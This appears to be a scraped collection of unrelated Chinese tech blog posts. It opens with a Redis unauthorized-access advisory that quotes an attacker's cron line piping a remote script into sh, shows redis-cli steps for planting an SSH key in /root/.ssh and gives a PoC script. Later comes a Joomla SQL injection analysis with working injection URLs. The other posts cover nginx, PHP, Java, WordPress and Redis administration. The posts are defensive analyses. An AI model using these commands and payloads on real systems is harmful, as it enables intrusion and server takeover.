/opt/yam/yam 程序占cpu

Redis 未授权访问缺陷 ,使用redis的服务器提高警惕了,赶紧查看,防止被肉机。

近日发现服务器上有一个异常的进程占用了服务器全部的cpu,htop查看确实有一个异常进程,kill掉进程后发现自己又启动起来了,于是查看crontab,确实有一个自动脚本,

*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh

看来服务器被黑了,还好,网上有遇到相同问题的大牛给出了问题的根本原因,原来是redis服务器未授权访问缺陷的问题

下面详细说一下该漏洞的原理以及该如何预防:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

Redis 未授权访问缺陷可轻易导致系统被黑

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

Redis 未授权访问缺陷可轻易导致系统被黑

然后将公钥写入foo.txt文件

$ (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) “dir”2) “/root/.ssh”
$ 192.168.1.11:6379> config set dbfilename “authorized_keys”OK
$ 192.168.1.11:6379> saveOK

Redis 未授权访问缺陷可轻易导致系统被黑

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等Redis 未授权访问缺陷可轻易导致系统被黑

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

Redis 未授权访问缺陷可轻易导致系统被黑

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

Redis 未授权访问缺陷可轻易导致系统被黑

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

Redis 未授权访问缺陷可轻易导致系统被黑

全球无验证可直接利用 Redis TOP 10 国家与地区

Redis 未授权访问缺陷可轻易导致系统被黑

漏洞 PoC

#!/usr/bin/env Python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = ‘89339’
version = ‘1’
author = [‘Anonymous’]
vulDate = ‘2015-10-26’
createDate = ‘2015-10-26’
updateDate = ‘2015-10-26’
references = [‘http://sebug.net/vuldb/ssvid-89339’]
name = ‘Redis 未授权访问 PoC’
appPowerLink = ‘http://redis.io/’
appName = ‘Redis’
appVersion = ‘All’
vulType = ‘Unauthorized access’
desc = ”’
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
”’
samples = [”]
def _verify(self):
result = {}
payload = ‘\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a’
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and ‘redis_version’ in recvdata:
result[‘VerifyInfo’] = {}
result[‘VerifyInfo’][‘URL’] = self.url
result[‘VerifyInfo’][‘Port’] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘Internet nothing returned’)
return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

文章来源:http://blog.csdn.net/u010391029/article/details/51711185

No input file specified. 解决办法

正常网站,请求不存在的页面,出现No input file specified. 的解决办法,原因是nginx没有开启404跳转

nginx 配置了地址重写

if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php?_url=/$1 last;
}

然后将所有php求情转到php去,
这时如果请求的是php页面,nginx就没有进行重写直接转到php去了,比如请求:/a.php
这时,php返回:

No input file specified

此时,nginx直接将结果返回到页面去了,查看nginx配置,发现没有设置错误页跳转功能,于是在nginx的server中加上:

error_page   404 = http://www.xxx.com/404.html;

果断加上,重启nginx后,发现还是没有跳转。。。

再次查找问题原因,发现原来nginx没有开启错误跳转功能,于是再在nginx的http配置中加上:

fastcgi_intercept_errors on;

重启查看结果,No input file specified不再返回,而是调到指定的 http://www.xxx.com/404.html页面去了,问题解决

为什么你应该放弃 Windows10 而选择 Linux

自从 Windows10 出来以后,各种媒体都报道过它的隐藏间谍功能。ZDNet 列出了一些放弃 Windows10 的理由。

SJVN 在 ZDNet 的报告:

你试试关掉 Windows10 的数据分享功能,坏消息来了:window10 会继续把你的数据分享给微软公司。请选择 Linux 吧。

你可以有很多方法不让 Windows10 泄露你的秘密,但你不能阻止它交谈。Cortana,win10 小娜,语音助手,就算你把她关了,她也会把数据发给微软公司。这些数据包括你的电脑 ID,微软用它来识别你的 PC 机。

所以如果这些泄密给你带来了烦恼,你可以使用老版本 Windows7,或者换到 Linux。然而,当 Windows7 不再提供技术支持的那天到来,如果你还想保留隐私,最终你还是只能选择 Linux。

这里还有些小众的桌面系统能保护你的隐私,比如 BSD 家族的 FreeBSD,PCBSD,NetBSD,eComStation,OS/2。但是,最好的选择还是 Linux,它提供最低的学习曲线。

详情移步 ZDNet

via: http://www.itworld.com/article/2972587/linux/why-did-you-start-using-linux.html

作者:Jim Lynch 译者:bazz2 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

如何黑掉一台根本不联网的电脑

2014年SONY公司遭到朝鲜黑客入侵,所有机密信息几乎被席卷而去。传说是员工在最后关头拔掉了网线才勉强保住了“底裤”。这种“拔网线”的做法看上去包治百病。然而,只要断网就能保证一台电脑上的信息高枕无忧了吗?(当然不是了,否则下面那么多不就白写了么。。。)

一直以来,拿到一台电脑上的密钥,方法无非有以下三种:

  1. 直接拿到这台电脑,然后输入木马病毒进行盗取。(此种略微LowB的方法风险在于:如果被电脑主人“捉奸在床”,愤而报警,则需要黑客有一定的逃跑技能)
  2. 通过互联网入侵目标电脑,远程安装木马病毒,窃取密钥。(大多数黑客都会采用这种方法,同时保证了自己的逼格和人身安全)
  3. 如果目标电脑不联网,则需要通过能够接触到互联网的介质(例如U盘)把病毒摆渡进目标电脑。(此方法由于逼格满满,技术难度很高,目测只有美国攻击伊朗核电站等少数几个成功案例)

从今天开始,这些方法都弱爆了。

以色列的白帽子黑客(安全研究员)研究出了一种高能的玩法,只需要在你的隔壁放一个大号“听诊器”,根据你电脑工作时散发出的电磁波,就可以捕捉到你的密码信息。

能够听到电脑“自言自语”的电磁波探测器

这种攻击方法的逆天之处在于:

  1. 速度奇快,只需几秒,密钥到手。
  2. 根本不涉及密码破译,而是直接捕捉密码明文。所谓隔墙有耳,探囊取物。
  3. 不需要电脑联网,也不需要接触“受害电脑”。未见出招,胜负已判。

做出这个设备,只需要3000美金的成本。它可以精确地捕捉周围电脑工作时的电磁波,并且放大分析。

那么,这个“窃听器”究竟能够听到什么呢?

被监听的电脑

研究员试着给受害电脑发送了一封GnuPG加密邮件。在电脑打开邮件的过程中,后台进行了ECDH解密操作。而正是这短短几秒的解密过程,散发出的电磁波里携带了“宇宙的秘密”。窃听器分析这几秒钟的电磁波之后发现,每当出现窄频信号的时候,就标志着解密了一段密码。把这些窄频信号放在一起进行解析之后,密文信息就这样轻松地“流淌”了出来。

研究人员穿过了15厘米厚的墙壁,捕获了66次解密过程。仅仅用了3.3秒就最终得到了密钥。

 

电磁波的波动,标记处为窄频信号

这次实验无异于发现了黑客界的“引力波”,打开了黑客们新的脑洞。这标志着电脑在工作时会自言自语,只要你能够听懂电脑在说什么,那么这台电脑在你面前就没有秘密可言了。用同样的原理,甚至还可以分析出电脑工作中产生的其他信息,例如银行卡密码、私人聊天内容。

研究员Tromer表示:“这种攻击方法很可能会很快从实验室走出去,成为流行的攻击方法。黑客们会研究出更廉价的设备,进一步降低攻击成本。”不过,如果黑客们想要自制这种设备,需要克服一个大的障碍,就是过滤掉背景噪音。在无数电磁波里分析出哪些是电脑工作所发出的,就像在一个喧闹的Party上听到一个姑娘的喃喃细语。达成这种姿势需要相当强的物理学基础,并非传统的死宅程序猿可以搞定。

如果这种攻击方式将来成为黑客的“标配”,还真是细思极恐。传统的进攻手段,需要通过互联网,黑客很容易在你的电脑里留下痕迹,这些痕迹都可以作为他们的罪证;而电磁波被人窃听,却没有任何一种手段可以探测到,所以想要知道自己被“监听”几乎是不可能的。

正像Tromer所说:

我们的计算机在网络世界里被重重机关所保护,但是在物理世界里却近乎裸奔。

当你还在纠结打哪一种马赛克的时候,黑客早已透视了你的皮肤和骨骼。在这种降维打击面前,我们每个人的隐私都更加脆弱了。甚至到了“要想人不知,除非己莫为”的地步。

经过慎重思考,为了防止信息被黑客盗取,电脑的正确用法如下:


完美阅读及吐槽,请猛击:https://linux.cn/article-7022-1.html?utm_source=qqmail&utm_medium=qqmail

php 设定cookie名会自动将点”.”转为下划线”_”

php cookie中不能使用点号(句号),实际上不是很严格,应该说可以使用点号的cookie名,但会被转换,你命名一个cookie:

$_COOKIE[‘my.name’] = 1;

实际上你不能通过’my.name’在cookie中查找到这个值,只能是’my_name’:

echo $_COOKIE[‘my_name’];

php已经自动帮你进行了转化,句点转为了下划线。

php为什么要这样做呢?这是因为$_GET/$_POST/$_SERVER/$_COOKIE。。。这些全局函数的值,在之前的许多版本中是可以通过register_globals参数在本地中直接访问这些值的,比如开启register_globals = on后,访问$my_name直接取值为1。如果是$my.name的话,则不符合php变量命名原则,这不单是句号(.)的问题。

因此,$_COOKIE的命名已经符合php命名标准。

另外开启register_globals是一个很糟糕的决定,因为它可能会覆盖脚本中原来的值,比如:

// other code
if ($a)
$uc_is_login = true;
// …

用户只需要发送一个url?a=1的http请求就可以默认已经登陆。这是个很危险的做法,应该把它关闭。实际上php6已经去除了这个选项。

文章来源:http://www.jb51.net/article/56483.htm

Joomla 3.4.3版本 SQL注入漏洞分析

0x00 漏洞分析

漏洞触发的代码位于:/administrator/components/com_contenthistory/models/history.php,getListQuery()函数内:

4cf1a8d2985c5601fbdeb7a9e4a09234077751bf

通过SQL及报错信息,可以知道我们的注入payload被插入到了红色框部分内。跟进getState()函数,位于libraries/legacy/model/legacy.php文件内,代码如下:

fdee547d4719f061f5da0cbb08cc60b14d985666

从函数参数和官方注释,可以知道,getState()函数功能是获取一个model的属性及属性对应的值,getState()函数在model的属性未设置时,会执行$this->populateState()来对model的一些属性进行赋值操作。

我们跟进populateState()函数看下做了什么操作,代码位于:/administrator/components/com_contenthistory/models/history.php 内:

fe099e32ddc96330647b1d252557f043a6aafc7c

该函数从用户输入中取出item_id,type_id,type_alias,等几个变量,对当前model的属性进行赋值,可控变量均强制为integer类型,无法利用。顺着最后一行代码:parent::populateState(‘h.save_date’, ‘DESC’),继续跟到父类中看父类populateState()函数的定义,代码位于:libraries/legacy/model/list.php,482行附近:

6b6d229c8fd724ed7d494a0d368530e987005085

getUserStateFromRequest()函数用于将GET/POST中得list[]变量取回到$list中,并在第三个参数中指定该变量类型为array(),继续跟进:

1f82a0a1dfcae93ffa84026ba3c57b76f52a30cc

代码对取到的list[]数组进行了遍历,并做相应的过滤、拆分,可以看到list[select]没有处理逻辑,会进入default的case,后续$this->setState(‘list.’ . $name, $value)代码执行后,导致请求中list[select]变量没有任何变量被直接赋值给Model属性,继续回头看文章最开始的注入位置,此时我们可以控制$this->getState(‘list.select’)的返回值,构造SQL注入。

确认了输入可控的位置,构造有效的payload,还需要解决几个小问题。构造POC:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))


会发现出现错误提示 Unknown column ‘Array’:

5b0ddaad6fc53783244ae7406a7f0d802419e492

需要增加list[ordering]=将原SQL中的order by字段值清空。
最终可执行POC:

/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))


执行会返回:

64449bf7f63be7eb106449ea72ff55b63c17b467

此带回显POC成功执行需要一个前提条件,就是传入的item_id 可以在Joomla_ucm_history表中查询到,否则会返回“500 – Layout default not found.”的提示。根据原文描述,可以暴力猜解item_id或使用time_based payload,不再赘述。

0x01 漏洞影响

joomla3.2-3.4.4版本

0x02 修复方案

目前Joomla官方已经跟新3.4.5版本,用户可登陆后台进行更新。
或下载官方升级包升级,下载地址:
https://github.com/joomla/joomla-cms/releases

0x03 参考链接

https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/

作者:云盾攻防对抗团队 – 千霄

发表日期:2015年10月23日

怎么通过java去调用并执行shell脚本以及问题总结

该文章来自阿里巴巴技术协会(ATA)精选集

背景

我们在开发过程中,大部分是java开发, 而在文本处理过程中,主要就是脚本进行开发。 java开发的特点就是我们可以很早地进行TDDL, METAQ 等等地对接; 而脚本开发的特点就是在进行批处理的时候非常方便。 前阵子我遇到这么一个需求场景: 对抓取的数据进行打包, 后来又遇到我要通过脚本进行抓取,比如nodejs下基于phantomjs的casperjs爬虫。

解决方法

对于第一个问题:java抓取,并且把结果打包。
那么比较直接的做法就是,java接收各种消息(db,metaq等等),然后借助于jstorm集群进行调度和抓取。 最后把抓取的结果保存到一个文件中,并且通过调用shell打包, 回传。 也许有同学会问, 为什么不直接把java调用odps直接保存文件,答案是,我们的集群不是hz集群,直接上传odps速度很有问题,因此先打包比较合适。(这里不纠结设计了,我们回到正题)

java调用shell的方法

通过ProcessBuilder进行调度

这种方法比较直观,而且参数的设置也比较方便, 比如我在实践中的代码(我隐藏了部分业务代码):

ProcessBuilder pb = new ProcessBuilder("./" + RUNNING_SHELL_FILE, param1,
                                               param2, param3);
        pb.directory(new File(SHELL_FILE_DIR));
        int runningStatus = 0;
        String s = null;
        try {
            Process p = pb.start();
            try {
                runningStatus = p.waitFor();
            } catch (InterruptedException e) {
            }

        } catch (IOException e) {
        }
        if (runningStatus != 0) {
        }
        return;

这里有必要解释一下几个参数:
RUNNING_SHELL_FILE:要运行的脚本
SHELL_FILE_DIR:要运行的脚本所在的目录; 当然你也可以把要运行的脚本写成全路径。
runningStatus:运行状态,0标识正常。 详细可以看java文档。
param1, param2, param3:可以在RUNNING_SHELL_FILE脚本中直接通过1,2,$3分别拿到的参数。

直接通过系统Runtime执行shell

这个方法比较暴力,也比较常用, 代码如下:

p = Runtime.getRuntime().exec(SHELL_FILE_DIR + RUNNING_SHELL_FILE + " "+param1+" "+param2+" "+param3);
p.waitFor();

我们发现,通过Runtime的方式并没有builder那么方便,特别是参数方面,必须自己加空格分开,因为exec会把整个字符串作为shell运行。

可能存在的问题以及解决方法

如果你觉得通过上面就能满足你的需求,那么可能是要碰壁了。你会遇到以下情况。

没权限运行

这个情况我们团队的朱东方就遇到了, 在做DTS迁移的过程中,要执行包里面的shell脚本, 解压出来了之后,发现执行不了。 那么就按照上面的方法授权吧

ProcessBuilder builder = new ProcessBuilder("/bin/chmod", "755", tempFile.getPath());
            Process process = builder.start();
            int rc = process.waitFor();

java进行一直等待shell返回

这个问题估计更加经常遇到。 原因是, shell脚本中有echo或者print输出, 导致缓冲区被用完了! 为了避免这种情况, 一定要把缓冲区读一下, 好处就是,可以对shell的具体运行状态进行log出来。 比如上面我的例子中我会变成:

ProcessBuilder pb = new ProcessBuilder("./" + RUNNING_SHELL_FILE, keyword.trim(),
                                               taskId.toString(), fileName);
        pb.directory(new File(CASPERJS_FILE_DIR));
        int runningStatus = 0;
        String s = null;
        try {
            Process p = pb.start();
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));
            while ((s = stdInput.readLine()) != null) {
                LOG.error(s);
            }
            while ((s = stdError.readLine()) != null) {
                LOG.error(s);
            }
            try {
                runningStatus = p.waitFor();
            } catch (InterruptedException e) {
            }

记得在start()之后, waitFor()之前把缓冲区读出来打log, 就可以看到你的shell为什么会没有按照预期运行。 这个还有一个好处是,可以读shell里面输出的结果, 方便java代码进一步操作。

也许你还会遇到这个问题,明明手工可以运行的命令,java调用的shell中某一些命令居然不能执行,报错:命令不存在!

比如我在使用casperjs的时候,手工去执行shell明明是可以执行的,但是java调用的时候,发现总是出错。 通过读取缓冲区就能发现错误日志了。 我发现即便自己把安装的casperjs的bin已经加入了path中(/etc/profile, 各种bashrc中)还不够。 比如:

export NODE_HOME="/home/admin/node"
export CASPERJS_HOME="/home/admin/casperjs"
export PHANTOMJS_HOME="/home/admin/phantomjs"
export PATH=$PATH:$JAVA_HOME/bin:/root/bin:$NODE_HOME/bin:$CASPERJS_HOME/bin:$PHANTOMJS_HOME/bin

原来是因为java在调用shell的时候,默认用的是系统的/bin/下的指令。特别是你用root权限运行的时候。 这时候,你要在/bin下加软链了。针对我上面的例子,就要在/bin下加软链:

ln -s /home/admin/casperjs/bin/casperjs casperjs;
ln -s /home/admin/node/bin/node node;
ln -s /home/admin/phantomjs/bin/phantomjs phantomjs;

这样,问题就可以解决了。

如果是通过java调用shell进行打包,那么要注意路径的问题了

因为shell里面tar的压缩和解压可不能直接写:

tar -zcf /home/admin/data/result.tar.gz /home/admin/data/result

直接给你报错,因为tar的压缩源必须到路径下面, 因此可以写成

tar -zcf /home/admin/data/result.tar.gz -C /home/admin/data/ result

如果我的shell是在jar包中怎么办?

答案是:解压出来。再按照上面指示进行操作。
(1)找到路径

String jarPath = findClassJarPath(ClassLoaderUtil.class);
        JarFile topLevelJarFile = null;
        try {
            topLevelJarFile = new JarFile(jarPath);
            Enumeration<JarEntry> entries = topLevelJarFile.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                if (!entry.isDirectory() && entry.getName().endsWith(".sh")) {
                    对你的shell文件进行处理
                }
            }

对文件处理的方法就简单了,直接touch一个临时文件,然后把数据流写入,代码:

FileUtils.touch(tempjline);
tempjline.deleteOnExit();
FileOutputStream fos = new FileOutputStream(tempjline);
IOUtils.copy(ClassLoaderUtil.class.getResourceAsStream(r), fos);
fos.close();

有这个这个东东,相信大家会减少踩坑,而且大胆地使用java和脚本之间的交互吧。 java可以调用shell,那么shell再调用其他就方便了。 记得一点, 不要过度地依赖缓冲区进行线程之间的通信。原因自己去学习吧。

希望这个能帮到大家。

WordPress.com 开源,发布桌面端应用

       WordPress.com 在今天迈出了自成立以来的最跨越性的一步。Automattic 公司从头重写了 WordPress.com,将这项计划命名为 Calypso(译者注:卡吕普索,希腊神话的海之女神),从内到外一切都焕然一新。以下为其详细更新内容。

       首先,WordPress.com 现在从 WordPress 核心代码中完全剥离出来。如今的 WordPress.com 是一套管理界面,它同 WordPress 核心代码的交互方式,与其它现有的第三方的界面、应用相同。网站使用 REST API 来完成诸如获取旧日志、推送新日志、上传照片等任务。

其次,WordPress.com 团队还进行了大刀阔斧的改造。WordPress.com 不再沿用 PHP 和 MySQL,而是转用 JavaScript 和 API 调用。也就是说,当你访问网站时,你将从服务器获取一个全功能的、在浏览器中运行的 WordPress 客户端。

       客户端是一个单页应用,这意味着当你在界面上进行操作时,将会很少看到载入界面出现。而且该应用在你的手机和平板上同样适用——因为它采用响应式设计。如果你过去通过后台管理 WordPress,现在你依然可以直接访问后台。但是如果你使用的是托管式 WordPress、安装了 Jetpack 插件的半托管式 WordPress  或者像 TechCrunch 一样的 WordPress VIP,Automattic 还在 WordPress.com 上提供了另一种登录选项。

最后,以上详尽或未详尽的代码都在 GitHub 上托管并开源。你可以查看代码、建立自己的代码分支并且重新使用它,只要你遵循 GNU 通用公共许可证第二版的内容。

       此外,WordPress.com 团队并不满足于此。现在,你可以下载新款 Mac 应用 来访问 WordPress.com。从很多方面看,这款应用很接近 Slack 的桌面应用。它利用网络技术和桌面功能,让你获得与 WordPress.com 一致或相近的体验,还加入了一些好用功能,比如通知。Windows 版和 Linux 版应用正在开发中。

我下载了该应用,并且把玩尝试了几分钟。如果你熟悉 WordPress.com 界面,你会感到宾至如归,因为它们看起来完全一样。不过在 Dock 上有一个应用图标总归更加方面。

       那么 Automattic——这家 WordPress.com 背后的公司,为什么要 不惜代价 地去重写代码?WordPress.com 如今给人的感觉和工作方式宛如一款现代的在线应用。这是它重返战局,迎战诸如 Medium 等新晋挑战者的重要一步。

尽管编辑器还缺乏很多高级用户(包括 TechCrunch 作者们)的常用功能,WordPress.com 已经算得上是一款简洁高效的写作工具,它应该会吸引到一批 Medium 上的写作者。

据统计, 今天全球约有 25% 的网站运行着 WordPress。这是一个伟大壮举,WordPress 不再是一家青涩、急躁、总想着对抗巨头的创业公司,它自己已然成为了网络巨头。通过今天的举动 Automattic 向人们证明了,它对行业环境以及潜在威胁仍然有着清晰的评判。对于 WordPress 的未来,这亦是一个鼓舞人心的举措。

 

全世界最富有的七个人 钱都是这样赚来的!

转自微信公众号 O2O商学院

其实很多亿万富翁都乐于分享自己的经验,如果你用心去聆听,并且能够吸收其中的精华,对自己的事业和人生都会有很大帮助。

1.比尔·盖茨 微软创始人

“你知道吗?在1975年我们创办微软公司的时候,我们说要让每个家庭,每张办公桌上都有一部电脑。其实当时就连我们自己都不知道有可能会发展成为一家大企业。事实上,每次我都在想,哦,上帝,我们能不能把规模再翻一番?”

创建一家巨头企业,并不是盖茨的终极目标。他充满了激情,有着创建美好未来的愿景,并且积极去实现这一切。

2. 史蒂夫·乔布斯 苹果创始人

“成为世界上最富有的人,对我来说一点儿都不重要。而每天晚上上床之前可以对自己说,我们做了一些无与伦比的事情,这对我来说才是最重要的。”

这是乔布斯众多名言中的一句,或许也是他给出过最好的一条建议。和比尔盖茨一样,乔布斯希望可以改变这个世界,让这个世界可以变得更好。不忘初衷才是他最看重的。

3. 西尔维斯特·史泰龙 演员,作家,

导演“在这个世界上,我不是最富有的人,也不是最聪明,天赋最好的人,而我之所以能够获得成功,是因为我一直在前进、前进、前进。”

史泰龙不是含着金汤勺出生的人。在他推出电影《洛奇》之前,只主演过一部电影,实际上,史泰龙自己写了《洛奇》的剧本,也是这部电影的主演和导演。

4. 孙正义 软银集团董事长

“最初所拥有的只是梦想和毫无根据的自信而已,但是所有的一切都从这里开始。”

孙正义在创建软银公司的时候,没钱也没有经验,同时也没有生意上的关系。唯一仅有只是热情、激情,还有一个成功的梦想。后来,他慧眼投资了阿里巴巴。

5. 阿里科·丹格特 商业巨头

“如果你没有雄心壮志,那么就不该活在这个世上。”

Dangote认为,雄心才是一个人“内在最重要的东西”,它决定了你是一个什么样的人,让你与众不同。正是雄心,让他获得了成功,而且在寻找合作伙伴或招聘员工的时候,他也很看重这一点。

6. Reginald Mengi IPP集团主席

“我是在贫穷中长大的,但是我一直认为这是一种挑战。好的一面是,如果你愿意付出代价,就能克服挑战,而这个代价就是努力工作。”

Mengi所获得的机遇从来不是别人递到他面前的,而是通过自己的辛勤工作,并努力寻求获得的。

7. Carlos Slim Helo 商业大亨

“竞争会让你变得更好,永远竞争下去,你就会永远变得更加出色,即便你的竞争对手获胜,你也会有所成长。”

Helo是墨西哥最富有的人,这就是他通过自己的经验教训给出的建议。Helo在做生意的时候有自己的原则,他喜欢健康的良性竞争,而不是故意拆其他企业家的台。

批量删除Redis数据库中的Key

批量删除Key
Redis 中有删除单个 Key 的指令 DEL,但好像没有批量删除 Key 的指令,不过我们可以借助 Linux 的 xargs 指令来完成这个动作
[plain] view plaincopy

    redis-cli keys "*" | xargs redis-cli del  
    //如果redis-cli没有设置成系统变量,需要指定redis-cli的完整路径  
    //如:/opt/redis/redis-cli keys "*" | xargs /opt/redis/redis-cli del  

如果要指定 Redis 数据库访问密码,使用下面的命令
[plain] view plaincopy

    redis-cli -a password keys "*" | xargs redis-cli -a password del  

如果要访问 Redis 中特定的数据库,使用下面的命令
[plain] view plaincopy

    //下面的命令指定数据序号为0,即默认数据库  
    redis-cli -n 0 keys "*" | xargs redis-cli -n 0 del  

删除所有Key
删除所有Key,可以使用Redis的flushdb和flushall命令
[plain] view plaincopy

    //删除当前数据库中的所有Key  
    flushdb  
    //删除所有数据库中的key  
    flushall  

注:keys 指令可以进行模糊匹配,但如果 Key 含空格,就匹配不到了。